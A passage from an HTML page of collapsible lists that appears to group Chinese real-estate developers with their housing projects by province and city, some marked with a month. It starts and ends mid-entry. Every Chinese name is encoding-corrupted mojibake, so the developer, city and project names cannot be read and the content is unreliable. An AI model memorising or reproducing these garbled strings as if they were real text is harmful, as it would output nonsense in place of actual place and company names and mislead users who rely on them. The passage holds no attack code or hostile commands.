ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-้ฟๆฒๅธ-้ฟๆฒๆๆฏ
</details>
<details>
<summary><b> ๆนๅไนๅๅฝ้
ๆฐๅๅผๅๅปบ่ฎพๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆนๆฝญๅธ-้ๅฅฅๆนๆฑๅ
ฌ้ฆ
</details>
<details>
<summary><b> ๆนๅ็ๆนๆฑ็ฝฎไธๅๅฑ๏ผ้ๅข๏ผๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆฐธๅทๅธ-่ๅพทๆนๆฑ
</details>
<details>
<summary><b> ่ฑๆ ทๅนด ใ1ใ</b></summary>
ๆนๅ็-้ๅทๅธ-้ๅทๅธ่ฑๆ ทๅนด้ฆ้จ็ฌฌ
</details>
<details>
<summary><b> ๅๅคๅนธ็ฆ ใ4ใ</b></summary>
ๆฒณๅ็-ๅปๅๅธ-ๅๅคๅนธ็ฆยทๅๅญฃๅ
ฌ้ฆ,<br>
ๆฒณๅ็-ๅปๅๅธ-ๅๅคๅนธ็ฆๅญ้ๅๅคง่ฟๆฒณๆบๆ
ง่กๅบ๏ผ้ฆๆฒณ๏ผ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅญ้ๅๅ
ฌๅญๆตท,<br>
ๆฑ่็-ๅไบฌๅธ-้้ตๅๅคไธญๅฟ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ไฝณๅ
ไธ ใ5ใ</b></summary>
้ๅบๅธ-ๆฒๅชๅๅบ-ไฝณๅ
ไธยทๅค้ธฃๆฐดๅฒธ๏ผ9ๆ๏ผ,<br>
ๅนฟไธ็-ๆทฑๅณๅธ-ไฝณๅ
ไธๆถไปฃๅคงๅฆ,<br>
ๅนฟไธ็-ๆทฑๅณๅธ-ไฝณๅ
ไธๆจพไผดๅฑฑ,<br>
ไธๆตทๅธ-ๅๅฎๅบ-ๅพ่กไฝณๅ
ไธไบๆ,<br>
ไบๅ็-ๆๆๅธ-ไฝณๅ
ไธๅๅธๅนฟๅบ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ๅปบไธๅฐไบง่กไปฝๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้นคๅฃๅธ-ๆทๅฟๅปบไธๅ
</details>
<details>
<summary><b> ๆฑ่ไธญๅๅปบ่ฎพ้ๅข่กไปฝๆ้ๅ
ฌๅธ ใ3ใ</b></summary>
ๅฑฑไธ็-้ๅฒๅธ-ไธญๅๆๆจพๅฐๅบ๏ผ7ๆ๏ผ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-ไธญๅไธๆฆๅๅๆ,<br>
ๆตๆฑ็-ๆญๅทๅธ-ๆญๅทไธญๅๆฅๆบช้
</details>
<details>
<summary><b> ๆฑ่ฅฟไธญ้้ป้็ ๅฎ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฑ่ฅฟ็-ๅๆๅธ-ไธญ้ไธญๅฟ
</details>
<details>
<summary><b> ้็งๅฐไบง้ๅข่กไปฝๆ้ๅ
ฌๅธ ใ4ใ</b></summary>
้ๅบๅธ-ๆธๅๅบ-่่ๅ
ฌ้ฆ๏ผ9ๆ๏ผ,<br>
ๆฒณๅ็-่ฎธๆๅธ-้็ง้นฟ้ธฃๅธๆฏ,<br>
่พฝๅฎ็-ๆฒ้ณๅธ-้็ง้็พไธๆน,<br>
ๆตๆฑ็-ๅๅ
ดๅธ-ๆกไนก้็งๆถไปฃๅคฉๆฆๅฐๅบ
</details>
<details>
<summary><b> ้ฆไธๅฐไบง้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-้ฆไธ6ๅทๅบ้ธ
</details>
<details>
<summary><b> ้ฆ่บ็ฝฎไธ้ๅขๆ้ๅ
ฌๅธ ใ3ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-้ฆ่บ่ฝป็บบๅๆๆชๆฅๅ
ฌๅฏ,<br>
ๆฒณๅ็-้ๅทๅธ-้พๆน้ฆ่บๅ้ซๅ
ญ,<br>
ๅๅท็-ๅนฟๅฎๅธ-ๅธ่ฐทๅ
ฌๅญๅไธๆ
</details>
<details>
<summary><b> ๅฑ
ๆ็ฝฎไธ ใ1ใ</b></summary>
ๆฒณๅ็-่ฅ้ณๅธ-ๅฑ
ๆ่ฅฟ้ก
</details>
<details>
<summary><b> ๅบทๆกฅๅฐไบง้ๅขๆ้ๅ
ฌๅธ ใ8ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-้ๆฐดๅบๅบทๆกฅไธ้บๅญไบๆ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅบทๆกฅ็็บๅญ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅบทๆกฅ้ฃไบๆบช๏ผ8ๆ),<br>
ๆฒณๅ็-้ๅทๅธ-ๅบทๆกฅๆชๆฅๅ
ฌๅ
,<br>
ๆฒณๅ็-้ๅทๅธ-ๅบทๆกฅ้ฆๆบช้ก,<br>
ๆฒณๅ็-้ๅทๅธ-ๅบทๆกฅๆฆๆบชๅญ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅบทๆกฅ้
ๆบช้
่,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎๅบทๆกฅๆฆ่ๅญ๏ผ9๏ผ
</details>
<details>
<summary><b> ไนๅๆไธ้ๅข ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-ไนๅๅ้ฆๆฆญๅบๅญ
</details>
<details>
<summary><b> ้พๅ
้ๅข ใ1ใ</b></summary>
ๅนฟไธ็-ๆทฑๅณๅธ-ๅๆตทๅคฉๅข่ฑๅญ
</details>
<details>
<summary><b> ้พๅฃๅธไธญๅฎๆฟๅฐไบงๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅฑฑไธ็-็ๅฐๅธ-ๆพ้ฝ้ณๅ
ๅ๏ผ12ๆ๏ผ
</details>
<details>
<summary><b> ้ๅบๆณฐๅ ใ4ใ</b></summary>
ๆฒณๅ็-ไฟๅฎๅธ-้ๅบๆณฐๅๆถฟๅท้ๆฆๅฑฑ,<br>
ๆฒณๅ็-ไฟๅฎๅธ-้ๅบๆณฐๅๆถฟๅท็ดซๆฆๅฐๅบ,<br>
ๆฒณๅ็-ๆฒงๅทๅธ-็ดซๆจพ้ฆๆฆญ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-ไธๅ้ก
</details>
<details>
<summary><b> ็ปฟๅฐ ใ18ใ</b></summary>
้ๅบๅธ-ไธๅทๅบ-ไธ่ๅไบๆ๏ผ12ๆ๏ผ,<br>
็่็-ๅ
ฐๅทๅธ-ๅ
ฐๅทๆฐๅบ็ปฟๅฐๆบๆ
ง้่ๅๅ
ญๆๅบทๅ
ป่ฐท,<br>
ๆฒณๅ็-้ๅทๅธ-็ปฟๅฐๆปจๆนๅฝ้
ๅ,<br>
ๆฒณๅ็-้ๅทๅธ-็ปฟๅฐๅไบๅบ๏ผ7ๆ๏ผ,<br>
ๆฒณๅ็-้ๅทๅธ-็ปฟๅฐๅไบๆๅ
ญๅบ๏ผ7ๆ๏ผ,<br>
ๆฒณๅ็-้ๅทๅธ-็ปฟๅฐๆบฑๆฐดๅฐ้,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๅ
่ฐท็ปฟๅฐไธญๅฟๅJKLๅฐๅ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๆฑๅ็ปฟๅฐๅไบๆ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-็ปฟๅฐๅ
่ฐทๆๆฒณ็ป,<br>
ๆนๅ็-ๆญฆๆฑๅธ-็ปฟๅฐๅ
่ฐทไธญๅฟๅ,<br>
ๆนๅ็-ๅธๅฎๅธ-็ปฟๅฐๅ้
็ฉบ้ด็ซ,<br>
ๆนๅ็-ๆ ชๆดฒๅธ-็ปฟๅฐๅ้
็ฉบ้ด็ซ,<br>
ๆฑ่ฅฟ็-่ตฃๅทๅธ-็ปฟๅฐๅ่งๅ,<br>
ๅฑฑไธ็-้ๅฒๅธ-็ปฟๅฐๅ้
็ฉบ้ด็ซ๏ผ9ๆ๏ผ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-็ปฟๅฐๆฐ้ๅไบๆ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-ๅฝ้
ๆธฏๅกๅบ็ปฟๅฐๅฝๆธฏๆฐ้ๅไธๆ๏ผๅพ
ๅ่ดท๏ผ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-็ปฟๅฐ็็จๅคฉๅไบๆ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-็ปฟๅฐๆฐ้็จไธๆๅ
ฐไบญๅ
ฌ้ฆ
</details>
<details>
<summary><b> ็พๅฅฝ็ฝฎไธ้ๅข่กไปฝๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆญฆๆฑๅธ-็พๅฅฝ้ฆๅ่ฑๅข
</details>
<details>
<summary><b> ๅ้จๅฐไบง ใ4ใ</b></summary>
ๆฒณๅ็-ๅไธๅธ-ๅ้จๅไบๆ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅ้จ็ฟ ๅญ,<br>
ๆฒณๅ็-้ๅทๅธ-ๅ้จๅคฉๅข,<br>
ๆฒณๅ็-้ๅทๅธ-ๅ้จ็ดซๅญ
</details>
<details>
<summary><b> ๅๅ
้ธ่พพ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅๅท็-ๅๅ
ๅธ-ๅๅ
้ธๅไธญๅคฎๅ
ฌๅญ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ๅๅฎๅธ็ๆกถ้ๆฟๅฐไบงๅผๅๆ้่ดฃไปปๅ
ฌๅธ ใ1ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-้็งๅ็ฟ ๅฑฑ
</details>
<details>
<summary><b> ๅ
่ๅค้ผ่ฏๆฟๅฐไบงๅผๅๆ้่ดฃไปปๅ
ฌๅธ ใ1ใ</b></summary>
ๅ
่ๅค่ชๆฒปๅบ-ๅผๅๆตฉ็นๅธ-้ฆๅข
ๅฒญ่ฅฟๅบ๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ๅนณ่ๅฟ่ฑซไธฐ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ฉป้ฉฌๅบๅธ-ๅนณ่ๅฟๆน็่ๅฒธ๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ๅ็ฆ็ฝฎไธ่กไปฝๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๅ็ฆๅ
</details>
<details>
<summary><b> ๅบ้ณๅธไธไธๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
็่็-ๅบ้ณๅธ-ๅฝ้one๏ผ11ๆ๏ผ
</details>
<details>
<summary><b> ่ๅ ใ25ใ</b></summary>
้ๅบๅธ-็งๅฑฑๅบ-็งๅฑฑๅบ่ๅๅ๏ผ9ๆ๏ผ,<br>
้ๅบๅธ-ๆธๅๅบ-่ๅ้ๆบชๆ้ขไธไบไธๆ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๆตทๅธ-่ๅๆตทๆ ๅ
ฐๅฑฟไธๆ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-ๆกๆ่ๅๆๆ
ๅN4ๅฐๅ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-่ๅๆๆ
ๅN5ๅฐๅ๏ผ12ๆ๏ผ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๆกๆๅธ-่ๅๆๆ
ๅN7ๅฐๅ๏ผ10ๆ๏ผ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-่ๅ่ๅ
ฌ้ฆ11ใ12ๅทๆฅผ๏ผ8ๆ๏ผ,<br>
ๆฒณๅ็-็ณๅฎถๅบๅธ-่ๅๅไธๆ๏ผ11ๆ๏ผ,<br>
ๆฒณๅ็-่ฎธๆๅธ-่ๅ่งๆฒณๅฎธ้ข,<br>
ๆฒณๅ็-้ๅทๅธ-่ๅไธญๅๅคง่งไบๆ,<br>
ๆฒณๅ็-้ๅทๅธ-้ๅท่ๅๅพกๆนๅฎธ้ขไธๆ,<br>
่พฝๅฎ็-ๅคง่ฟๅธ-่ๅๆตท้ธ้ฟๆดฒ,<br>
ๅฑฑไธ็-ๆตๅๅธ-่ๅไธญๆฐๅฝ้
ๅๅๆๅๅบ,<br>
ๅฑฑไธ็-้ๅฒๅธ-ๆๆฒงๅบ่ๅๆฆๅฑฑไบๆ,<br>
ๅฑฑไธ็-้ๅฒๅธ-้ๅฒๆตทๆดๆดปๅๅบ่ๅไธญๅฟไธๆ๏ผ10ๆ๏ผ,<br>
ๅฑฑไธ็-้ๅฒๅธ-่ฅฟๆตทๅฒธๆฐๅบ่ๅๅฝฑ้ฝๅญฆๅบไธๆ๏ผ9ๆ๏ผ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๅคชๅๅธ่ๅไธญๅฟ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-่ๅไธๆนๅฎธ้ขDK5,<br>
้่ฅฟ็-ๅปถๅฎๅธ-ๅปถๅฎ่ๅๅฎธ้ข,<br>
ๅๅท็-้ฝๆฑๅ ฐๅธ-่ๅๆๆ
ๆปจๆฑๆฐๅบ๏ผ8ๆ๏ผ,<br>
ๅๅท็-็ๅฑฑๅธ-็ๅฑฑๅธๅฝญๅฑฑๅบ่ๅๆฐด้กๆชๆฅๅ๏ผๆฑๅฃๆฐด้๏ผ๏ผ10ๆ๏ผ,<br>
ๅคฉๆดฅๅธ-ๅ่พฐๅบ-่ๅๆดฅๅฎธๅฃนๅท,<br>
ๅคฉๆดฅๅธ-ๅ่พฐๅบ-่ๅๅพกๆฏๅฎธ้ข,<br>
ๅคฉๆดฅๅธ-ๅคฉๆดฅๅๅบ-่ๅๅๅผๅฎธ้ขไบๆ,<br>
ไบๅ็-ๅคง็็ฝๆ่ชๆฒปๅท-ๅคง็็ๅฐ้ขๅญๅๅบ๏ผ12ๆ๏ผ
</details>
<details>
<summary><b> ็ๆฐ๏ผๅนณๆฝญ๏ผๆ่ตๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
็ฆๅปบ็-็ฆๅทๅธ-ๅนณๆฝญ็ปผๅๅฎ้ชๅบ้้กบๆฐๅ
ๆๅ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ไธ็ๆง่ก๏ผ้ๅข๏ผๆ้ๅ
ฌๅธ ใ3ใ</b></summary>
ๆฑ่็-ๅธธๅทๅธ-ไธ็็ๆฆๆนพ,<br>
ๅฑฑไธ็-้ๅฒๅธ-ไธ็ๅฝ้
ๆตทๅฒธไบๆ๏ผ9ๆ๏ผ,<br>
ๅๅท็-ๆ้ฝๅธ-ไธ็็ฟกไฟชๅฑฑ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ๅฑฑๆนๆตท้ๅข ใ1ใ</b></summary>
ๆนๅ็-ๅธธๅพทๅธ-ๆฑๅฏฟๅฟๅฑฑๆนๆตทไธๅไบๆใไธๆ
</details>
<details>
<summary><b> ้่ฅฟๅฎๆถฆๅฎไธ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-ๅฝ้
ๅนธ็ฆๅ
</details>
<details>
<summary><b> ไธๆตทๆตทไธๆฟๅฐไบงๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ไธๆตทๅธ-ๆตฆไธๆฐๅบ-ไธดๆธฏไธ็ฅฅ้ขๆฏๅญๆฑๅ้ข
</details>
<details>
<summary><b> ไธๆตทๅ
ดๅฎธๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ไธๆตทๅธ-ๆตฆไธๆฐๅบ-ๅจๆตฆๅๅฏๅนฟๅบ
</details>
<details>
<summary><b> ็ณๅฎถๅบไธญ่ๆฑ้ๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-็ณๅฎถๅบๅธ-็ณๅฎถๅบ่ตซ็ณๅบ
</details>
<details>
<summary><b> ๅฎๅฐๅฐไบง้ๅขๆ้ๅ
ฌๅธ ใ7ใ</b></summary>
ๆฒณๅ็-ๅฎ้ณๅธ-็ดซ่ๅ
ฌ้ฆ,<br>
ๆนๅ็-่้จๅธ-ๅฎๅฐ็ดซ่้
่,<br>
ๅฑฑไธ็-้ๅฒๅธ-ๅฎๅฐ่ท่ๅฝ้
,<br>
ๅคฉๆดฅๅธ-ๅฎๅปๅบ-ๅฎๅปๅบๅฎๅฐๆตทๆฃ ้
่ๅฃๆฏ่ฑชๅบญ,<br>
ๅคฉๆดฅๅธ-ๅคฉๆดฅๅๅบ-ๅฎๅฐๆตทๆฃ ้
่ๅฃๆฏ่ฑชๅบญ๏ผ8ๆ๏ผ,<br>
ๅคฉๆดฅๅธ-ๅคฉๆดฅๅๅบ-ๅฎๅฐ่ท่๏ผ9ๆ๏ผ,<br>
ไบๅ็-ๆๆๅธ-ๅฎๅฐ่ฑ้นค็ฟ๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ไธ่้ๅข ใ5ใ</b></summary>
้ๅบๅธ-ๅทดๅๅบ-ไธ่ยทๆฑๅ้ญ่,<br>
็ฆๅปบ็-็ฆๅทๅธ-ไธ่ๆณฐ็ฆพ้ไบๅฐ้๏ผ9ๆ๏ผ,<br>
ๆฑ่ฅฟ็-ๅๆๅธ-ไธ่ๆณฐ็ฆพๅๆ้ขๅญ,<br>
ๅฑฑไธ็-้ๅฒๅธ-่ฅฟๆตทๅฒธๆฐๅบไธ่โข้ฆๅฅๅ
ฌ้ฆ๏ผ10ๆ๏ผ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-ไธ่็็จๅพๅไบๆ๏ผ7ๆ๏ผ
</details>
<details>
<summary><b> ๅๅท่ๅ
ๅๅฑ่กไปฝๆ้ๅ
ฌๅธ ใ5ใ</b></summary>
้ๅบๅธ-ๆธๅๅบ-่ๅ
ๆชๆฅๅ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-่ๅ
้้ฆๆพๆนพ,<br>
ๆนๅ็-่ฅ้ณๅธ-่ๅ
้้ฆๅญ,<br>
ๅฑฑไธ็-้ๅฒๅธ-้ปๅฒ่ๅ
้้ฆๅๅฒ๏ผ6ๆ),<br>
ไบๅ็-ๆๆๅธ-่ๅ
ๅพทๅๅคฉๅ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ๆณฐ็ฆพ ใ8ใ</b></summary>
ๅนฟไธ็-ไธญๅฑฑๅธ-ๆณฐ็ฆพ้ๅฐๅบ,<br>
ๆนๅ็-ๆญฆๆฑๅธ-ๆณฐ็ฆพ็ฅ้ณๆน้ขๅญ๏ผๅๆฆ่ฑๅญ๏ผ,<br>
ๆฑ่็-่ๅทๅธ-ๆณฐ็ฆพ้ๅฐๅบ๏ผ8ๆ),<br>
ๆฑ่็-้ๆฑๅธ-ๅฅๅฎนๅธๅฎๅ้ๆณฐ็ฆพ้ๅฐๅบ,<br>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-ๆณฐ็ฆพ้ๅฐๅบ,<br>
ไธๆตทๅธ-ๅดๆๅบ-ๅดๆ้ฟๅ
ดๅฒๆณฐ็ฆพๅคงๅๅฐ้ข,<br>
ไธๆตทๅธ-ๅฅ่ดคๅบ-ไธๆตทๅธๅฅ่ดคๅบๆณฐ็ฆพๆตทไธ้ขๅญ,<br>
ๆตๆฑ็-ๆญๅทๅธ-ๅฏ้ณๅบๆณฐ็ฆพๅคงๅๅฐ้ขๆฅผ็
</details>
<details>
<summary><b> ๅคฉๆฟ้ๅข ใ1ใ</b></summary>
ๅคฉๆดฅๅธ-ๅคฉๆดฅๅๅบ-ๅคฉๆดฅๅคฉๆฟๆจพๆข
ๆฑไฝๅฎ
</details>
<details>
<summary><b> ๅคฉๅฑฑๆฟๅฐไบงๅผๅ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ขๅฐๅธ-ๅคฉๅฑฑ็ๆนไบๆ_ๅ็ๅฎถๅญ๏ผๅพ
ๅ่ดท๏ผ
</details>
<details>
<summary><b> ๅคฉๆณฝ้ๅข ใ1ใ</b></summary>
็ฆๅปบ็-็ฆๅทๅธ-ๅคฉๆณฝๅฅฅ่ฑๆถไปฃ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ไธ็ง ใ1ใ</b></summary>
ๅนฟไธ็-ๅนฟๅทๅธ-ไธ็งๆตทไธๆๆ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ๅดๅทๅธ็ๆถฆ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅนฟไธ็-ๆนๆฑๅธ-ๅดๅทๅฅฅๅญๅ ๅๅไธๆ
</details>
<details>
<summary><b> ๆญฆๆฑๅฝไปฃ็งๆไบงไธ้ๅข่กไปฝๆ้ๅ
ฌๅธ ใ3ใ</b></summary>
ๆนๅ็-ๆญฆๆฑๅธ-ๅฝไปฃ้ญๅฑฑ็ญ(ไบบ็ฆๅฝ้
ๅฅๅบทๅ)๏ผ7ๆ๏ผ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎๆฒฃไธๆฐๅๅๅๅคฉ็บ,<br>
ๅๅท็-ๆ้ฝๅธ-ๆญฆไพฏๆฐๅๅฝไปฃ็่ช๏ผ7ๆ๏ผ
</details>
<details>
<summary><b> ๆญฆๆฑๅ้ไธฐๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆญฆๆฑๅธ-ๆฐๆดฒไธญๆฐ็ๆฏ
</details>
<details>
<summary><b> ่ฅฟๅฎๆตฉไธฐๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎ้ญ้ธฟไธญๅฟไบๆ
</details>
<details>
<summary><b> ่ฅฟๅฎๅไบฌๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎๅไบฌ้ขๆ
</details>
<details>
<summary><b> ่ฅฟๅฎๆฒๆฑๆๅไบงไธๆ่ต๏ผ้ๅข๏ผๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆตๆฑ็-ๆญๅทๅธ-ๆฒๆฑๆฐ้ธฅ้น็ฌฌไธๅ๏ผๅพ
ๅ่ดท๏ผ
</details>
<details>
<summary><b> ่ฅฟๅฎๅๆ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-้ ้ๅบๅไปๅๅบญ
</details>
<details>
<summary><b> ่ฅฟๅฎๅๅพท็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-่ฅฟๅฎ็ๆกฅๅบๆๅๅ๏ผ็ธๅ
ณๆฅ้๏ผ
</details>
<details>
<summary><b> ๆนๆฝญๅธ่ฑๅๆ ๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆนๆฝญๅธ-ๆนๅฐๅฝ้
่ฑๅญไบๆ
</details>
<details>
<summary><b> ๅญๆๆถฆ่พพๆ่ตๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๅญๆๅธ-ๆถฆ่พพยทๅฃนๅทๅนฟๅบ
</details>
<details>
<summary><b> ๅไฟกๆง่ก ใ2ใ</b></summary>
ๆฑ่็-ๆ ้กๅธ-ๅคฉๆธ้ชๅญ,<br>
ๅฑฑไธ็-้ๅฒๅธ-่ถๅทๅไฟกๅคฉ้ชไบ้บ
</details>
<details>
<summary><b> ๆฐๅๆง่ก ใ1ใ</b></summary>
ๅไบฌๅธ-็ณๆฏๅฑฑๅบ-็ฆงๆฆๅญฆๅบ๏ผๆฆๅไฝณ่๏ผ
</details>
<details>
<summary><b> ๆฐๅๅฐไบง้ๅขๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๆนๅ็-้ฟๆฒๅธ-ๆฐๅ้ๅญ๏ผ8ๆ๏ผ,<br>
ๆฑ่ฅฟ็-ๅๆๅธ-ๆฐๅๅ
</details>
<details>
<summary><b> ๆฐๅฐ็ฝฎไธ ใ1ใ</b></summary>
ๅๅท็-ๆ้ฝๅธ-ๆฐๅฐๅฐ้ข๏ผ10ๆ๏ผ
</details>
<details>
<summary><b> ้ซ่ ใ5ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-้ซ่้ๆฐด่งๅ,<br>
ๆฒณๅ็-้ๅทๅธ-้ซ่ๅๅ3ๅท้ขไฝๅฎ
,<br>
ๆฒณๅ็-้ๅทๅธ-้่ฅฟ้ซ่ๅๅฎถๅๆ๏ผ7ๆ๏ผ,<br>
ๆฒณๅ็-้ๅทๅธ-้ๅท้ซ่ๅฝ้
ๆฐๅ,<br>
่พฝๅฎ็-ๅคง่ฟๅธ-ๅคง่ฟๅธ้ซๅ็งๆๅฅๅบทๅฐ้๏ผๅ
ๆฌ้ซ่่้พ้ฆไปไธๆใไบๆ๏ผ
</details>
<details>
<summary><b> ้ณๅ
100 ใ1ใ</b></summary>
้่ฅฟ็-่ฅฟๅฎๅธ-้ณๅ
100้ฟๅฐๅ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ้ณๅ
ๅ้ๅข ใ9ใ</b></summary>
้ๅบๅธ-ๆธๅๅบ-้ณๅ
ๅๆชๆฅๆฆไบๆ๏ผ7ๆ๏ผ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-ไบ่ฑกๆพๅบญๅบๆฒ่,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-ไบ่ฑกๆพๅบญๅบ่ป่,<br>
ๆฒณๅ็-ๅ้ณๅธ-้ณๅ
ๅไธฝๆฏ่ฑๅญ,<br>
ๆฑ่็-ๅ้ๅธ-้ณๅ
ๅๆชๆฅๆฆ,<br>
ๆฑ่็-่ๅทๅธ-้ณๅ
ๅๆช่,<br>
ๅฑฑไธ็-ๆตๅๅธ-้ณๅ
ๅๆชๆฆ,<br>
ๅๅท็-ๆ้ฝๅธ-้ณๅ
ๅๆชๆฅๆฆ,<br>
ๅคฉๆดฅๅธ-ๆดฅๅๅบ-ๅๅญฃๆฅๆ
</details>
<details>
<summary><b> ็ๅๆฟๅฐไบง ใ1ใ</b></summary>
่ดตๅท็-่ดต้ณๅธ-ไธญ็ฏๅฝ้
้
ๆน
</details>
<details>
<summary><b> ็ฆนๆดฒ้ๅข ใ1ใ</b></summary>
ๅไบฌๅธ-้ๅทๅบ-็ฆนๆดฒๆๅปทๆนพ๏ผๆๅปท้
่๏ผ
</details>
<details>
<summary><b> ่ฑซ้ฃ้ๅทฅ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-ๆฐไนกๅธ-ๆฐไนกๅธ่ฑซ้ฃ็ไธๅ้ฆ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ่ฟๆด็บขๆไผไธๅๅฑๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅฑฑ่ฅฟ็-ๅคชๅๅธ-่ฟๆด็บขๆๅคฉๆถฆไธๆ
</details>
<details>
<summary><b> ไบๅๆพๅพทๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ไบๅ็-็ๆบชๅธ-ๆจฑ่ฑ่ฐท๏ผ7ๆ๏ผ
</details>
<details>
<summary><b> ้ฟๆฒๆถฆๆกๅไนกๅผๅๅปบ่ฎพๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-้ฟๆฒๅธ-ๅฎไนกๆชๆฅๆน่2ๆ&3ๆ
</details>
<details>
<summary><b> ๆญฃ่ฃ้ๅขๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๆนๅ็-้ฟๆฒๅธ-ๆปจๆฑๆญฃ่ฃ็ดซ้ๅฐ,<br>
้่ฅฟ็-่ฅฟๅฎๅธ-ๆญฃ่ฃ็ดซ้ๅณฏ่๏ผ็ดซ้ๅฐไธ่ฅฟๅบ๏ผ
</details>
<details>
<summary><b> ๆญฃ้ณๅฟไธญๅๅ็ฝฎไธ้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ฉป้ฉฌๅบๅธ-ไธญๅๅ
</details>
<details>
<summary><b> ้ๅท้ปๆฒณๅคง่งๆ้ๅ
ฌๅธ ใ2ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-็ๆตท่ชๅ,<br>
ๆฒณๅ็-้ๅทๅธ-็ๆตทๆๅฟตๅ
</details>
<details>
<summary><b> ้ๅทๆฐๅจ้พ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
